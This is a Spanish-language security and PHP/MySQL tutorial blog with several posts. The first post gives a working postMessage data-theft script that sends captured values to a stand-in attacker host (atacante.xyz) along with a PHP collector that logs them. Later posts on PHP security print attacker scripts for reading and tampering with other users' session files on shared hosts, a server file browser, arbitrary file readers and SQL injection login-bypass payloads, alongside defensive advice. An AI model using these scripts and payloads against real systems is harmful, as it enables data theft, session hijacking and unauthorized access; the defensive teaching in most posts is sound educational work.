martes, 11 de junio de 2019
postMessage Robo de Datos + Guardado en archivo log
<script>
function listener(event) {
//alert(event.data.value);
var str = event.data.value;
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
params = "keys="+str;
xmlhttp.open("POST","http://atacante.xyz/postMessage.php",false);
xmlhttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xmlhttp.setRequestHeader("Accept-Language","es-MX,es;q=0.8,en-US;q=0.5,en;q=0.3");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttp.send(params);
}
var dest = window.open("http://vulnerable.com/keys");
window.addEventListener("message", listener);
</script>
<?php
if(isset($_POST['keys'])){
$cookie = $_POST['keys'];
$steal = fopen("log.txt", "a");
fwrite($steal, $cookie ."\n"); //<---- Must be $cookie instead of $name
fclose($steal);
}
?>
Informacion sobre esto: https://github.com/EdOverflow/bugbountywiki/wiki/postMessage-issues
sábado, 1 de septiembre de 2018
Ubicacion de base de datos en XAMPP
Rutas indicadas:
Linux:/opt/lampp/var/mysql
Windows: C:\xampp\mysql\data
Mac: /Applications/XAMPP/xamppfiles/var/mysql
Esta entrada es muy corta pero se que le sera de ayuda a mas de uno.
viernes, 19 de septiembre de 2014
[Parte 8] PHP
Seguridad en PHP:
http://arthusu.blogspot.mx/2014/02/parte-1-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/03/parte-2-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/03/parte-3-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/03/parte-4-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-5-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-6-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-7-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-8-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-9-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-10-seguridad-en-php.html
http://arthusu.blogspot.mx/2014/04/parte-11-seguridad-en-php.html
Validando los datos por tipo
Para la mayor parte, toda la validacion de los scripts php que hemos hecho hasta ahora debe estar al minimo, incluso nisiquiera verificamos si la variable tiene algun valor o esta vacia, en varias situaciones esto es lo mejor que puedes hacer. Por ejemplo, no hay una regla perfecta para validar la direccion o un comentario de un usuario, se puede lograr algo un poco mas sofisticando utilizando expresiones regulares (http://arthusu.blogspot.mx/2013/07/phpexpresiones-regulares-pcre.html), en este caso seria mejor validar el dato por tipo.PHP soporta varios tipos de datos: cadenas, numeros (enteros o decimales), arrays y mas. Para cada uno de estos existe una funcion especifica para ver si una variable es de ese tipo de dato.
is_array() - checa si es un array
is_bool() - checa si es booleano (TRUE o FALSE)
is_float() - checa si es decimal
is_int() - checa si es entero
is_null() - checa si es valor nulo (NULL)
is_numeric() - checa si es numerico
is_resource() - checa si es un recurso (por ejemplo: la coneccion a la base de datos)
is_string() - checa si es una cadena
Hay una gran parte basada en la validacion: ya sea validar por URL, cookies, formularios, datos que van fuera del servidor, a la base de datos, hay dos tipos de validaciones: lista blanca y lista negra, un ejemplo podria ser para prevenir el spam o para prevenir groserias, podriamos usar una lista negra y reemplazar esa palabra por otro o simplemente taparla (****).
Un ejemplo, podriamos hacer una calculadora que solo sume:
<form method="post">
numero 1: <input type="text" name="n1" /><br>
numero 2 <input type="text" name="n2" /><br>
<input type="submit" name="enviar" />
</form>
<?php
if (isset($_POST['enviar']) && is_numeric($_POST['n1']) && is_numeric($_POST['n2'])) {
$n1 = $_POST['n1'];
$n2 = $_POST['n2'];
$result = $n1 + $n2;
echo $result;
}
?>
Usando la extension Filter
Introducido en PHP 5.2 Filter Extension es una importante herramienta, esta puede ser utilizada para dos propositos: validar o desinfectar. Un proceso de validacion confirma que los datos coincidan con lo esperado. Y la desinfeccion en comparacion altera los datos eliminando los caracteres inapropiados.La funcion mas importante en la exntesion filter es filter_var():
El primer argumento es la variable a ser filtrada, el segundo es el filtro a aplicar, el tercero es para agregar criterios adicionales.
filter_var(variable,filter,[options]);
Filtros de validacion
Constante:
FILTER_VALIDATE_BOOLEAN
FILTER_VALIDATE_EMAIL
FILTER_VALIDATE_FLOAT
FILTER_VALIDATE_INT
FILTER_VALIDATE_IP
FILTER_VALIDATE_REGEXP
FILTER_VALIDATE_URL
Filtros de desinfeccion
Constante:
FILTER_SANITIZE_EMAIL
FILTER_SANITIZE_ENCODED
FILTER_SANITIZE_MAGIC_QUOTES
FILTER_SANITIZE_NUMBER_FLOAT
FILTER_SANITIZE_NUMBER_INT
FILTER_SANITIZE_SPECIAL_CHARS
FILTER_SANITIZE_STRING
FILTER_SANITIZE_STRIPPED
FILTER_SANITIZE_URL
FILTER_UNSAFE_RAW
Por ejemplo, para confirmar que la variable sea un valor decimal:
if(filter_var($var,FILTER_VALIDATE_FLOAT)){Un ejemplo que contenga valores opcionales podria ser el uso de FILTER_VALIDATE_INT la cual contiene min_range y max_range para controlar el minimo y maximo de valores permitidos. Viendolo en un ejemplo podria ser el siguiente:
if(filter_var($var,FILTER_VALIDATE_INT,array('min_range'=>1,'max_range'=>120))){
Hay varios filtros duplicados a funciones php. Por ejemplo:
FILTER_SANITIZE_MAGIC_QUOTES es lo mismo que addslashes()
FILTER_SANITIZE_SPECIAL_CHARS es lo mismo que htmlspecialchars()
FILTER_SANITIZE_STRING es lo mismo que strip_tags()
Bueno otro tema que voy a tocar asi rapido de pasadita por que en las partes de seguridad en php se hablo mucho de ello es la proteccion contra sql injection tambien hay un tutorial de la libreria pdo en este mismo sitio.
Prevenir ataques de inyeccion SQL
En este caso utilizaremos declaraciones preparadas o preparated statements... esto lo que tiene de bueno es que son mas rapidas y mas seguras.
Las declaraciones preparadas pueden ser creadas en cualquier peticion SELECT, INSERT, UPDATE, DELETE. Comenzamos definiendo nuestra consulta marcando los placeholders:
$q = "SELECT first_name,last_name,email FROM users WHERE id=?";
Asignamos los resultados en una variable de PHP:
$stmt = mysqli_prepare($dbc,$q);En este punto mysqli parsea la consulta pero no la ejecuta. El siguiente punto es enlazar las variables de la consulta con los placeholders:
mysqli_stmt_bind_param($stmt, 'i', $id);
La parte de i indica el valor a ser esperado.
Tipos de valores:Un ejemplo utilizando el script de las sesiones donde iniciabamos una sesion, podria ser como la siguiente consulta:
d - decimal
i - entero
b - blob (datos binarios)
s - todos los otros tipos
$q = "SELECT user_id,first_name FROM users WHERE email=? AND pass=SHA1(?)";
$stmt = mysqli_prepare($dbc,$q);
mysqli_stmtm_bind_param($stmt, 'ss',$e,$p);
$e = 'correo@ejemplo.com';
$p = 'miclave';
mysqli_stmt_execute($stmt);
Para cerrar la declaracion utilizamos:
mysqli_stmt_close($stmt);
Evitar ataques de fuerza bruta
Este tambien se comenta en las partes de seguridad de php, pero solo vamos a comentar que este tipo de ataques se puede detener ya que la mayoria de las personas la realizan desde la misma IP, con lo cual despues de varios intentos le hacemos un delay (esperar) tantos segundos cada peticion esto lo hacemos con el uso de la funcion sleep() en PHP.
Si te parece interesante esto de los filtros o validacion de tipo de datos pueden adentrarte a algo mas complejo como son las expresiones regulares, de manera que encuentres lo que deseas:
http://arthusu.blogspot.mx/2013/07/phpexpresiones-regulares-pcre.html
Hasta aqui llega esta parte que parece ser la mas corta pero en realidad no lo es ya que tambien se encuentran las partes de seguridad en php al inicio del post.
martes, 24 de junio de 2014
[Parte 4] PHP
Minitutoriales MySQL:
1.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-1.html
2.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-2.html
3.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-3.html
4.- http://arthusu.blogspot.mx/2013/03/mysql-minitutorial-parte-4.html
5.- http://arthusu.blogspot.mx/2013/05/mysql-minitutorial-parte-5.html
Normalizacion
Para poder trabajar correctamente con las bases de datos relacionales se creo un proceso llamado normalizacion el cual seguiremos para que los diseños de nuestra bases de datos sean correctos.Claves
Hay dos tipos de claves las claves primarias y las claves foraneas.
Una clave primaria es un identificador unico que tiene que cumplir las siguientes reglas:
* No pueden ser valores NULL
* Tener un valor que nunca cambia
* Tener un valor unico para cada registro en una tabla
Un ejemplo de clave primaria podria ser la CURP la cual su valor nunca cambia y es unico para cada persona.
La clave foranea son la representacion en la tabla B de la clave principal en la tabla A. Si tenemos una base de datos cine con una tabla peliculas y una de directores, la principal de los directores estaria vinculada con la clave foreanea en peliculas.
Nota Importante: ¨Las claves primarias es ideal que sean numeros enteros para poder obtener un mayor rendimiento.
Relaciones
Las relaciones en la base de datos se refiere a como una tabla se puede relacionar con otra tabla, de alguna manera juntandose (relacionandose).
Las relaciones deben ser comunmente 1 a varias, ya que si son varias a varias conducen a la redundancia, por lo cual deberiamos hacer que las relaciones sean 1 a varias o 1 a 1.
Las relaciones y las claves trabajan juntos, una clave en una tabla se relacionara con una clave en otra tabla.
Podemos usar MySQL WorkBench como software para diseñar nuestras bases de datos: http://www.mysql.com/products/workbench/
Una relacion varios a varios entre dos tablas es mejor representado como dos uno-varios esas tablas tendran otra tabla como intermediario.
Las bases de datos utilizan ciertas convenciones para estar bien estructuradas. El proceso de un diseño de base de datos obtiene como resultado un ERD (entity-relationship model) o ERM (entity-relationship model). El termino "relacional" en RDBM se deriva de las tablas que son tecnicamente llamadas relacionales.
1 Forma Normal (1NF):
- Cada columna debe tener solo un valor (esto aveces se describe como ser atomica o indivisible (que un solo dato no se divida en varios))
- La tabla no puede tener grupos repetidos de datos relacionados.
Un ejemplo incorrecto para esta norma seria usar, una tabla que contiene la direccion completa de una persona, con las siguientes columnas: calle, ciudad, estado, codigo_postal, pais... ya que tiene varios valores en una columna.
Y el otro ejemplo incorrecto seria una tabla peliculas donde tenemos actor1,actor2,actor3 por que las columnas se repiten con el mismo tipo de informacion.
2 Forma Normal (2NF):
En esta forma se indica que se crearan mas y mas tablas para que no haya redundancia. Un ejemplo podria ser un director de cine, en una tabla de peliculas, en la cual el director de cine puede repetirse tantas veces como haya creado una pelicula, entonces ahi lo correcto seria crear una tabla para el director. Este tipo de llaves son foraneas de manera que se enlacen a la llave principal de la tabla principal.
Aqui puedes ver como para hacer la base de datos compatible con la segunda forma normal hemos creado varias tablas para no causar redundancia.
3 Forma Normal (3NF):
La tercera norma indica que si se cambia el valor de una tabla o se modifica tendra que cambiar el valor de otro, lo cual causaria problemas, es por eso que es mejor dejarlas como estan bien normalizadas o simplemente crear una nueva tabla para hacer referencia en ella en las otras tablas.
La normalizacion es un compromiso entre la integridad de datos, escalabilidad y simplicidad/velocidad.
Existen mas formas de normalizacion pero con llenar hasta la tercera forma normal es mas que suficiente para que tu base de datos trabaje de forma normalizada y correcta.
Les dejo un documento que puede ser leido para tomar mayor claridad sobre el asunto de la normalizacion: http://www.eet2mdp.edu.ar/alumnos/MATERIAL/MATERIAL/info/infonorma.pdf
martes, 8 de abril de 2014
[Parte 8] Seguridad en PHP
Alojamiento compartido
Muchas veces por mas seguro que estes en codigo el servidor puede no estar bien configurado, pero como en este caso no se habla a profundidad en el tema de los servidores sino en el tema de seguridad en php será en lo que nos centraremos.Codigo fuente expuesto
En un servidor web compartido tenemos la mala suerte de que el codigo podria tambien ser leido por otros usuarios que esten en el mismo alojamiento, si el alojamiento compartido no esta bien configurado, el usuario podria insertar un codigo como el siguiente: <?php
header("Content-Type: text/plain");
readfile($_GET['archivo']);?>
Un atacante con este codigo en su servidor web, podria obtener la ruta completa de nuestro alojamiento, e intentar incluir algun codigo nuestro, un ejemplo podria ser de la siguiente forma:
http://ejemplo.com/archivo.php?archivo=/ruta/para/codigo_fuente.phpLa manera que se le ve mas segura para almacenar este tipo de datos para que nadie vea donde no debe, seria guardarlos en una base de datos (encriptados), pero esto deja un problema todavia... ¿como hacer para que nuestros datos a la coneccion de la base de datos esten seguros?, un ejemplo nosotros tenemos un archivo php como el siguiente:
<?php $db_user = 'miusuario'; $db_pass = 'micontraseña'; $db_host = 'localhost'; $db = mysql_connect($db_host,$db_user,$db_pass);?>
La mejor solucion para este tipo de problema, seria crear un archivo de configuracion para estos datos, que solo un usuario root (permisos administrativos) pueda leer. Agregando lo siguiente:
SetEnv DB_USER "MiUsuario"
SetEnv DB_PASS "MiContraseña"
SetEnv es una directiva de apache, el formato de este archivo indica a Apache crear variables de entorno para su usuario y contraseña de la base de datos. Y porsupuesto, este archivo solo lo podria leer un usuario root, pero si no tienes suficientes permisos, podrias usar el siguiente comando:
$ chmod 600 db.conf
Con ese permiso solo el propietario del archivo puede leer y escribir en el.
Para que este archivo le sea de utilidad, usted necesita poder acceder a el mediante PHP. Para ello editamos el archivo httpd.conf de manera que incluyamos nuestro archivo:
Include "/ruta/para/db.conf"
Ahora solamente en PHP hacemos referencia con la variable superglobal $_SERVER de la siguiente manera:
<?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host,$db_user,$db_pass);?>
De manera que si el archivo anterior esta expuesto, no podrian ver nuestras credenciales de acceso :)
Nota importante: Tenga en cuenta que los datos son enviados por la variable superglobal $_SERVER por lo cual si tiene un archivo con la funcion phpinfo() deberia denegar el acceso a tal archivo.
Datos de sesion expuestos
Incluso cuando proteges los datos, las sesiones estan expuestas, php guarda todo en el directorio temporal /tmp, las sesiones tambien se guardan alli, y con un sencillo script en php pueden ser expuestas: <?php
header('Content-Type: text/plain');
session_start();
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read()){
if (substr($filename, 0, 5) == 'sess_'){
$data = file_get_contents("$path/$filename");
if (!empty($data)){
session_decode($data);
$session = $_SESSION;
$_SESSION = array();
echo "Session [" . substr($filename, 5) . "]\n";
print_r($session);
echo "\n--\n\n";
}
}
}
?>
Lo que hacemos con este script en php es buscar en la carpeta temnporal los archivos que empiezan con sess_ y luego mostrar su contenido, que en realidad es el contenido de una sesion lo decodificamos y lo mostramos...
La mejor manera para proteger nuestros datos de sesion seria guardarlos en la base de datos, hay que tener en cuenta que la seguridad en la base de datos se vuelve mas importante.
Primero creamos una tabla para las sesiones:
CREATE TABLE sessionsDescribiendo la tabla quedaria de la siguiente forma:
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
Para almacenar nuestros datos de sesion en esta tabla, es necesario que modifiquemos el mecanismo de sesiones:
<?php
session_set_save_handler('_open',
'_close',
'_read',
'_write',
'_destroy',
'_clean');
?>
Cada uno de estos argumentos maneja una tarea:
1.- abre la sesion
2.- cierra la sesion
3.- lee la sesion
4.- escribe la sesion
5.- destruye la sesion
6.- limpia los datos de sesion obsoletos
Hacemos uso de ellos, creando una sesion para cada uno y realizando lo que se le indica:
<?php
function _open(){
global $_sess_db;
$db_user = $_SERVER['DB_USER'];
$db_pass = $_SERVER['DB_PASS'];
$db_host = 'localhost';
if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)){
return mysql_select_db('sessions', $_sess_db);
}
return FALSE;
}
function _close(){
global $_sess_db;
return mysql_close($_sess_db);
}
function _read($id){
global $_sess_db;
$id = mysql_real_escape_string($id);
$sql = "SELECT data FROM sessions WHERE id = '$id'";
if ($result = mysql_query($sql, $_sess_db)){
if (mysql_num_rows($result)){
$record = mysql_fetch_assoc($result);
return $record['data'];
}
}
return '';
}
function _write($id, $data){
global $_sess_db;
$access = time();
$id = mysql_real_escape_string($id);
$access = mysql_real_escape_string($access);
$data = mysql_real_escape_string($data);
$sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')";
return mysql_query($sql, $_sess_db);
}
function _destroy($id){
global $_sess_db;
$id = mysql_real_escape_string($id);
$sql = "DELETE FROM sessions WHERE id = '$id'";
return mysql_query($sql, $_sess_db);
}
function _clean($max){
global $_sess_db;
$old = time() - $max;
$old = mysql_real_escape_string($old);
$sql = "DELETE FROM sessions WHERE access < '$old'";
return mysql_query($sql, $_sess_db);
}
?>
Con esto deberiamos de llamar primero a session_set_save_handler() antes de sesion_start(), pero las funciones las podemos definir en cualquier lugar. De esta manera nos evitamos de modificar el codigo cuando usamos sesiones, ya que podemos seguir utilizando $_SESSION y se comporta de igual manera, PHP todavia se encarga de generar y propagar el identificador de sesion, y se siguen aplicando los cambios a las directivas de configuracion de sesion. Todo lo que tenemos que hacer es llamar a la funcion (y crear las funciones a las que se refiere), y PHP se encarga del resto.
De esta manera si llenamos los datos de una sesion, por ejemplo:
<?php
include "manejador_sesiones.php";
session_set_save_handler('_open',
'_close',
'_read',
'_write',
'_destroy',
'_clean');
session_start();
$_SESSION['foo'] = 'bar';
$_SESSION['baz'] = 'wombat';
?>
Como vemos hacemos un include al manejador de sesiones, que es el codigo de cada funcion,insertado en la base de datos se veria de la siguiente, manera:
Inyeccion de sesion
Como comentabamos anteriormente, cuando un usuario atacante se aloja en el mismo servidor, es posible que pueda atacarnos modificando nuestras sesiones, leyendolas o simplemente eliminarlas. Un ejemplo, seria el uso del siguiente script en PHP, inyectar.php: <?php
include "manejador_sesiones.php";
session_set_save_handler('_open',
'_close',
'_read',
'_write',
'_destroy',
'_clean');
session_start();
$_SESSION['foo'] = 'bar';
$_SESSION['baz'] = 'wombat';
?><?php
session_start();
?>
<form action="inyectar.php" method="POST">
<?php
$path = ini_get('session.save_path');
$handle = dir($path);
while ($filename = $handle->read()){
if (substr($filename, 0, 5) == 'sess_'){
$sess_data = file_get_contents("$path/$filename");
if (!empty($sess_data)){
session_decode($sess_data);
$sess_data = $_SESSION;
$_SESSION = array();
$sess_name = substr($filename, 5);
$sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
echo "<h1>Session [$sess_name]</h1>";
foreach ($sess_data as $name => $value){
$name = htmlentities($name, ENT_QUOTES, 'UTF-8');
$value = htmlentities($value, ENT_QUOTES, 'UTF-8');
echo "<p>
$name:
<input type=\"text\"
name=\"{$sess_name}[{$name}]\"
value=\"$value\" />
</p>";
}
echo '<br />';
}
}
}
$handle->close();
?>
<input type="submit" />
</form>
El script inyectar.php puede realizar las modificaciones indicadas en el formulario
<?php
session_start();
$path = ini_get('session.save_path');
foreach ($_POST as $sess_name => $sess_data){
$_SESSION = $sess_data;
$sess_data = session_encode;
file_put_contents("$path/$sess_name", $sess_data);
}
$_SESSION = array();
?>
De esta manera como se muestra la siguiente imagenes podriamos modificar, eliminar y leer las sesiones:
La manera de protegernos ante este tipo de ataque es, metiendo los datos a la base de datos como lo hicimos anteriormente, en el apartado datos de sesiones expuestas.
Sistema de archivos de navegacion
Ademas de poder leer archivos de su servidor, un atacante puede crear un script PHP, de manera de saber donde se encuentran estos archivos, mas que nada para navegar por ellos, para saber donde se encuentran y poder accederlos. Podemos crear un script PHP como el siguiente:<pre>
<?php
if (isset($_GET['dir'])){
ls($_GET['dir']);
}
elseif (isset($_GET['file'])){
cat($_GET['file']);
}
else{
ls('/');
}
function cat($file){
echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8');
}
function ls($dir){
$handle = dir($dir);
while ($filename = $handle->read()){
$size = filesize("$dir$filename");
if (is_dir("$dir$filename")){
$type = 'dir';
$filename .= '/';
}
else{
$type = 'file';
}
if (is_readable("$dir$filename")){
$line = str_pad($size, 15);
$line .= "<a href=\"{$_SERVER['PHP_SELF']}";
$line .= "?$type=$dir$filename\">$filename</a>";
}
else{
$line = str_pad($size, 15);
$line .= $filename;
}
echo "$line\n";
}
$handle->close();
}
?>
</pre>
De esta manera tenemos un navegador de archivos como el siguiente:
Entonces si cualquiera puede ver nuestros archivos y puede acceder a ellos y verlos, lo mejor seria optar por almacenar datos confidenciales en la base de datos y encriptados. Y archivos como por ejemplo las credenciales de la base de datos, db.conf deberiamos optar por meterlo fuera del directorio raiz.
Modo seguro
El modo seguro fue diseñado para intentar resolver los problemas de alojamientos compartidos. Sin embargo esto es arquitectonicamente incorrecto para resolver problemas a nivel PHP, pero desde las alternativas del servidor web o sistema operativo no son nada realisticas, mucha gente especialmente ISP's tienen modo seguro habilitado.Cuando modo seguro esta activado, realiza una comprobacion para ver si el propietario del archivo es el mismo que esta leyendo o abriendolo o escribiendo sobre el. Aunque esto... afecta a otros lenguajes de programacion como PERL, Python, o un script en CGI Bash:
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victima/inc/db.inc
En el archivo de configuracion php.ini podemos encontrar la directiva safe_mode la cual puede estar activada (On) o desactivada (Off), de la siguiente manera: Safe_mode = On
Si no sabes donde se encuentra tu archivo de configuracion, puedes crear un archivo con la funcion phpinfo() que te muestra informacion sobre la ruta donde se encuentra almacenado el archivo de configuracion de PHP.
Otro problema de modo seguro es que no impide el acceso a los ficheros que son propiedad del servidor web, por lo que si tenemos un script PHP como el siguiente:
<?php $filename = 'file.php'; $script = '<?php header(\'Content-Type: text/plain\'); readfile($_GET[\'file\']); ?>'; file_put_contents($filename, $script); ?>
Se crea el siguiente archivo:
<?php
header('Content-Type: text/plain');
readfile($_GET['file']);
?>
Con el cual podemos leer archivos dentro del servidor. Debido a que el archivo tiene el mismo propietario que del archivo que lo creo.
Como podemos ver el modo seguro contiene muchas fallas, es por eso que tambien fue eliminado y se declaro como obsoleto, entonces el modo seguro no es ningun reemplazo para todas las tecnicas de proteccion que hemos descrito hasta ahora.
Referencias:
* Essential PHP Security* PHP documentacion oficial
* Wikipedia
miércoles, 26 de marzo de 2014
[Parte 3] Seguridad en PHP
Bases de datos y SQL
PHP soporta actualmente varias bases de datos las cuales podemos observar desde: http://www.php.net/manual/es/refs.database.phpEntre las mas usadas las cuales son:
* DB2 *ODBC *SQLite
* InterBase *Oracle *Sybase
* MySQL *PostgreSQL *DBM
Credenciales de acceso expuestas
Hay muchos programadores que exponen datos importantes de la base de de datos y pueden ser visto por todo el publico, ya que agregan archivos .inc donde viene un tipo de archivo con sus credenciales de acceso, o simplemente hacen respaldos de su base de datos dentro del directorio publico.Puedes usar algunos dorks de http://www.exploit-db.com/google-dorks/ para encontrar ese tipo de informacion usando google.
Una buena manera de evitar este tipo de errores, seria almacenar nuestro .inc fuera de la carpeta publica /www, Esto es muy comun tambien en bases de datos SQLite ya que como se crean archivos .sql deberiamos de mantener todas ellas fuera de la carpeta /www a un nivel mas arriba... otra solucion seria denegar el acceso a todos los archivos .inc
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>
Inyeccion SQL
Las Inyecciones SQL son de las mas comunes en aplicaciones web, la podemos encontrar en la lista del OWASP https://www.owasp.org/index.php/Top_10_2013-Top_10La inyeccion SQL requiere un poco de conjeturas por parte del atacante, ya que como no tiene el codigo fuente es lo que debe de hacer. Hagamos un ejemplo basico, tenemos un formulario de inicio de sesion como el siguiente:
Como puedes ver este login ademas de ser vulnerable, tiene sus contraseñas encriptadas con md5, lo cual ya no es nada seguro ingresando a alguna pagina como: http://www.md5decrypter.co.uk/ el cual tiene una base de datos de hashes para desencriptar...
La mejor solucion a esto es usar un salto para la contraseña, utilizando una cadena que es unica para la aplicacion :)
Para realizar este ataque no es necesario que el atacante adivine completamente la consulta, sino que empieze intentado por producir un error por ejemplo, inyectando una comilla simple, ya que muchos programadores utilizan la funcion mysql_error() cada vez que se produzca un error en la consulta.
Si bien esto es bastante util durante el desarrollo, cuando lo implementamos ya a nivel web esto puede ser de utilidad para un atacante, y nuestra consulta del login se convertiria algo como lo siguiente si usamos la comilla simple:
Si la consulta se envia a MySQL y no esta filtrada nos mostraria un error como el siguiente:
You have an error in your SQL syntax. Check the manual that
corresponds to your
MySQL server version for the right syntax to use near 'WHERE username
= ''' AND
password = 'e2a318c0755089
Para empezar ya tenemos los nombres de dos columnas, y manipulando la consulta WHERE podriamos obtener mas datos...
Desde el punto de vista de un atacante tiene muchas opciones y la mas facil seria poner algo como:
miusuario' or 1 -- -
El -- es un comentario en MySQL y se le agrega un espacio para que funcione, en este caso nos daria un login correcto, no estamos especificando un usuario en comun, pero si tuviesemos el nombre del usuario podriamos atacarlo e ingresar a su perfil, de la siguiente manera:
arthusu' or 1 -- -
La consulta se convertiria en lo siguiente:
Como mencionamos en la parte numero 1, siempre debemos filtrar la entrada y escapar la salida.
Generalmente para escapar los datos se requiere una sola unica funcion, en el caso de mysql es mysql_real_escape_string():
Es recomendable utilizar una funcion nativa para escapar los datos, si es que la tiene, sino podemos usar en cualquier caso como una alternativa addslashes()
O simplemente podemos utilizar una libreria, tal como pueden ser PEAR::DB, PDO, etc. Pueden consultar un articulo de PDO en este mismo blog: http://arthusu.blogspot.mx/2013/08/tutorial-pdo-mysql.html
Exposicion de datos
Una de las preocupaciones de cualquier programador deberia ser la exposicion de datos, ya que si alguien llega a encontrar los datos que tienes en tu base de datos, ya sea por que ingresaron por tus credenciales o por que te hicieron inyeccion sql, estos datos pueden ser demasiados sensibles, tales como tarjetas de credito, numeros de seguridad social, etcetera... Para ello debemos cifrar nuestros datos de manera que si llegasen a obtener nuestra base de datos, nuestros datos esten tan encriptados que no puedan ser crackeados y finalmente la informacion no llegaria... Esto lo veremos en una parte mas avanzada. :D
Referencias:
* Essential PHP Security* PHP.net
* Exploit-DB
Hasta aqui la tercera parte, espero que les haya gustado, dejen sus comentarios para cualquier sugerencia :D
lunes, 25 de marzo de 2013
MYSQL MiniTutorial Parte 3
En esta parte nos adentraremos en modificar tablas, eliminarlas, eliminar base de datos,etc....
Alias
Un alias es un apodo que le damos a una columna o tabla, esto lo hacemos por que aveces tenemos que hacer unas declaraciones muy largas, para no hacerlo asi le ponemos un apodo y solo hacemos referencia al apodo :D
La sintaxis es facil:
select nombre_columna as alias from tabla;
select nombre_columna from tabla as alias;
select nombre_columna alias from tabla;
select nombre_columna from tabla alias;
No siempre es necesario agregar alias con solamente agregar el apodo es suficiente.... para quedar todo mas claro veamos un ejemplo :D
como ves arriba seleccionamos apellido y nombre desde la tabla personas a esas dos columnas las llamamos nombre_completo seria su alias(apodo) y la ordenamos por nombre_completo, es decir, como ya estan concatenadas( concat() esta funcion la veremos mas adelante lo que hace es concatenar o juntar dos o mas columnas, en este caso 0x3a son los dos : en hexadecimal) order by como dijimos en la anterior parte de minitutorial de mysql lo que hace es ordenar por columna en este caso alfabeticamente como puedes ver el apellido va en orden ascendente :D
Si te das cuenta ahora la columna 1 se llama nombre_completo, si en este caso no le dieramos un nombre se llamaria algo como: concat(apellido,0x3a,nombre) aunque para hacer referencia a ella en order by podriamos hacer referencia como su numero de posicion, es decir, order by 1 :P
Les muestro una imagen como ejemplo:
Aqui de todas maneras no usamos para lo que verdaderamente seria de utilidad un alias que es para una consulta larga en columna o tabla hacer referencia a ella, pero vemos su funcionamiento que es el de dar un apodo a una columna/tabla.
Limit
Limit lo que hace es limitar como su nombre lo dice, limitar los registros que quieres seleccionar, su sintaxis es la siguiente:
select columna from tabla limit numero,numero;
select columna from tabla limit numero;
Veamos un ejemplo, como lo hacemos en todos los minitutos xD :D
Como puedes ver limitamos los registros es decir en la primera vemos como limitamos que comienze desde el registro 2 y nos devuelva 3 registros comenzando desde el mismo 2...
Nota importante: Los registros comienzan desde 0
La segunda limitamos que nos devuelva 2 registros desde el comienzo :D
Joins
En mysql existen 4 tipos de joins los cuales son: inner join,left join, rigth join, full join
Join su significado en ingles seria algo como juntar y es lo que hacemos en este caso, juntar las tablas :D siempre y cuando tengan una columna en comun....
Para no confundirlos mas vamos a ver ejemplos :D
Primero veremos la sintaxis de inner join que es lo mismo que usar join:
select columna from tabla1 inner join tabla2 on tabla1.columna1=tabla2.columna2;
Como ves en el ejemplo de arriba, juntamos las dos tablas personas y pedidos donde estan relacionados con p_id es decir tienen registros que son identicos...
entonces la consulta es mas o menos la siguiente:
selecionar apellido,nombre,fecha_pedido desde personas juntarla con pedidos donde personas.p_id=pedidos.p_id;
en este caso no es necesario que la columna tengan los nombres identicos sino que lo importante aqui son los registros como ves al devolver los valores devuelve los registros relacionados, es decir, en personas.p_id esta 1,2,3 y en pedidos.p_id esta 1,2,3,4,5,6 los relacionados son 1,2,3 entonces devuelve 3 registros con los tres valores juntados relacionados ya :D
Left join
Este realiza lo mismo que un join normal solo que en este caso devuelve todos los registros de la primera tabla(left) aunque esos registros sean nulos (NULL).... Veamos un ejemplo realizando lo anterior solo que como en este caso tenemos mas p_id en pedidos entonces lo realizaremos ahi el left join para que vean el resultado que produce....
Como puedes ver en este caso tenemos la misma consulta de arriba, solo que en este caso utilizamos left join y pedimos primero la tabla pedidos(left o primera tabla) entonces lo que haria es devolver todos los valores hasta que termine los p_id (identificadores) de fecha_pedido, devolviendo asi a la segunda tabla que sus columnas que son solo 3 y las otras 3 resultando nulas :D
En el caso de right join aplicamos el mismo concepto de arriba solo que en caso de ser la primera tabla por la que tomaria los registros sin importar si coinciden, seria la segunda tabla donde no tomaria si los registros coinciden que son pedidos.p_id=personas.p_id o alreves que vendria siendo lo mismo :P
Full Join
Lo que hace un full join en si es devolver las dos tablas la izquierda(tabla1) y la derecha (tabla2).
Bueno en este caso al parecer mysql no soporta full join por lo que hay que emular hacer un full join para ello usamos union o union all (lo veremos mas adelante) para las claves repetidas :D
Un ejemplo de esto es:
Como puedes ver solamente lo que hacemos es unir un left join con un right join obteniendo asi un full join.... :D
Union y Union all
Union como su nombre lo dice lo que hace es unir dos o mas declaraciones select, es decir, podemos seleccionar dos tablas haciendo una union, pero en estos casos union tiene unas "reglas" estas son:
1.-Deben tener el mismo numero de columnas
2.-Deben contener datos similares (tipos de datos vimos en el minitutorial 1)
La sintaxis de esta es la siguiente:
select columna1,columna2 from nombre_tabla
union
select columna1,columna2 from nombre_tabla
Diferencia entre Union y Union All
